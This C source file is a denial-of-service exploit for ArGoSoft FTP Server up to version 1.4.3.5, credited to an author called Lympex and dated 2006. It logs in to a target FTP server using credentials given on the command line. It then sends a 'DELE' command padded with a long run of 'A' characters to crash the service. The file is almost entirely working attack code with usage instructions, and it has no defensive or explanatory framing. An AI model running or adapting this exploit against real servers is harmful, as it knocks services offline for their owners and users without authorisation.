/*
Name: ArGoSoft FTP Server <= 1.4.3.5 Exploit
Target: DoS
Author: Lympex
Date: 26/02/2006
Contact:
        + lympex[at]gmail[dot]com
        + https://L-Bytes.Tk
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <winsock2.h>

void Banner()
{
     printf("\n[+] ArGoSoft FTP Server <= 1.4.3.5 - DoS Exploit");
     printf("\n[+] Coded by Lympex:");
     printf("\n      + Lympex[at]Gmail[dot]Com");
     printf("\n      + https://L-Bytes.Tk");
     printf("\n================================================\n");
     return;
}

int main(int argc, char *argv[])
{
    //data
    unsigned int MAX_SIZE=1024;
    char *Buf,Buffer[MAX_SIZE];
    //connection
    const unsigned int Wait=1000;
    WSADATA wsaData;
    SOCKET Winsock;
    struct sockaddr_in Winsock_In;
    struct hostent *Ip;
    
    //start
    Banner();
    if(argc!=5)
    {printf("\n[+] Usage: %s <Ftp_Server> <Ftp_Port> <Ftp_Login> <Ftp_Pass>\n",argv[0]);return -1;}
    //attack
    printf("\n[*] Connecting: %s:%s ...",argv[1],argv[2]);
    WSAStartup(MAKEWORD(2,2), &wsaData);
    Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
    if(Winsock==INVALID_SOCKET)
    {WSACleanup();printf("Error\n");return -1;}
    Ip=gethostbyname(argv[1]);
    Winsock_In.sin_port=htons((short)atoi(argv[2]));
    Winsock_In.sin_family=AF_INET;
    Winsock_In.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct in_addr *)Ip->h_addr)));
    if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
    {WSACleanup();printf("Error\n");return -1;}
    printf("OK");
    //check in
    Buf=(char *)malloc(255*sizeof(char));
    memset(Buf,0,sizeof(Buf));memset(Buffer,0,sizeof(Buffer));
    printf("\n[*] Authenticating: %s:%s ...",argv[3],argv[4]);
    recv(Winsock,Buffer,MAX_SIZE,0);
    //user command
    realloc(Buf,strlen("USER ")+strlen(argv[3])+strlen("\n"));
    memset(Buf,0,sizeof(Buf));memset(Buffer,0,sizeof(Buffer));
    strcpy(Buf,"USER ");strcat(Buf,argv[3]);strcat(Buf,"\n");
    send(Winsock,Buf,strlen(Buf),0);
    recv(Winsock,Buffer,MAX_SIZE,0);
    //pass command
    realloc(Buf,strlen("PASS ")+strlen(argv[4])+strlen("\n"));
    memset(Buf,0,sizeof(Buf));memset(Buffer,0,sizeof(Buffer));
    strcpy(Buf,"PASS ");strcat(Buf,argv[4]);strcat(Buf,"\n");
    send(Winsock,Buf,strlen(Buf),0);
    recv(Winsock,Buffer,MAX_SIZE,0);
    //verify
    if(Buffer[0]!='2'){printf("Error\n");WSACleanup();return -1;}
    printf("OK");
    //attack
    printf("\n[*] Attacking ...");
    printf("\n    -Sending EvilBuffer...");

    char EvilBuffer[]="DELE AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

    send(Winsock,EvilBuffer,274,0);
    send(Winsock,"\n",2,0);
    printf("OK");
    printf("\n    -Waitting...");
    Sleep(Wait);
    printf("OK");
    WSACleanup();
    printf("\n[*] Done!\n");
    return 0;
}